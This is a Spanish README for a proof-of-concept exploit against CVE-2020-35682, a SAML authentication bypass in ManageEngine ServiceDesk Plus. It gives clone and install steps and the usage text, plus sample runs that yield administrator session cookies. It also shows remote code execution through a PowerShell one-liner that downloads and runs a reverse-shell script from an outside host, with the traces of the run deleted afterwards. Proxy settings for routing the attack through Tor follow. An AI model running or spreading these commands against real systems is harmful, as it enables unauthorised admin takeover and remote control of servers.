
Exploit de prueba de concepto para CVE-2020-35682: omisión de autenticación SAML en ManageEngine ServiceDesk Plus, que permite la escalada de privilegios a administrador y la ejecución remota de código.
SD-91948: CVE-2020-35682: Vulnerabilidad de omisión de autenticación durante el inicio de sesión SAML en ServiceDesk Plus. (Según lo descrito por ManageEngine). Si la instalación de ServiceDesk Plus (<11134) tiene habilitado el inicio de sesión SAML y tienes credenciales de un usuario con privilegios bajos, puedes escalar a administrador y obtener RCE.
Decidí publicar este POC ya que no hay ningún exploit público ni mucha descripción disponible para explotar dicho error. El código está bastante desordenado pero funciona.
git clone https://github.com/its-arun/CVE-2020-35682.git
cd CVE-2020-35682
pip3 install -r requirements.txt
chmod +x exploit.py
┌─[✗]─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -h
usage: exploit.py [-h] -u URL -e EMAIL -p PASSWORD -d DOMAIN [-x PAYLOAD] [-a ADMINUSERNAME]
CVE-2020-35682 : Vulnerabilidad de omisión de autenticación durante el inicio de sesión SAML en ServiceDesk Plus
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
-x PAYLOAD, --payload PAYLOAD
Payload a ejecutar en el objetivo, ej: "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1
-usebasicparsing)"
-a ADMINUSERNAME, --adminusername ADMINUSERNAME
Nombre de usuario administrador, por defecto: administrator
argumentos requeridos con nombre:
-u URL, --url URL URL de instalación de ServiceDesk Plus, ej. https://tenet.local/sdp
-e EMAIL, --email EMAIL
Correo electrónico del usuario para inicio de sesión SAML, ej: [email protected]
-p PASSWORD, --password PASSWORD
Contraseña del usuario para inicio de sesión SAML
-d DOMAIN, --domain DOMAIN
Dominio, ej: TENET
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET"
[+] Sesión creada como administrador.
[+] Usa las siguientes cookies para iniciar sesión como administrador
=[NOMBRE DE COOKIE]= =[VALOR DE COOKIE]=
JSESSIONIDSSO E1D80C738E12085360A789109D43A233
PORTALID 1
SDPSESSIONID 918B7C63186055F72EAD2DEAC34B4CA9
┌─[felli0t@damnlab]─[~/POCs/CVE-2020-35682]
└──╼ $./exploit.py -u "https://tenet.local/sdp" -e '[email protected]' -p 'P@ssw0rd' -d "TENET" -x "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)"
[+] Sesión creada como administrador.
[+] Usa las siguientes cookies para iniciar sesión como administrador
=[NOMBRE DE COOKIE]= =[VALOR DE COOKIE]=
JSESSIONIDSSO 2316433DF39DFFE8ACD4E1DDD759D259
PORTALID 1
SDPSESSIONID 666788540DB6329CB7E59E1E96FF30EB
[+] Disparador personalizado ADQRYN11WA6KEXIQ creado
[+] Solicitud creada para ejecutar acción personalizada ADQRYN11WA6KEXIQ
[+] Ejecutado "powershell iex(iwr http://192.168.2.10:8080/reverseshell.ps1 -usebasicparsing)" en "https://tenet.local/sdp"
[+] Solicitud ADQRYN11WA6KEXIQ eliminada
[+] Acción personalizada ADQRYN11WA6KEXIQ eliminada
Los proxies se pueden definir en la línea 9 de exploit.py en el siguiente formato
proxies = {'http': 'socks4://127.0.0.1:9050','https': 'socks4://127.0.0.1:9050'}
O puedes configurar el proxy como variable de entorno si no deseas editar el código fuente
export HTTP_PROXY="socks4://127.0.0.1:9050"
export HTTPS_PROXY="socks4://127.0.0.1:9050"
Asegúrate de desactivar estas variables después de ejecutar el exploit.
unset HTTP_PROXY HTTPS_PROXY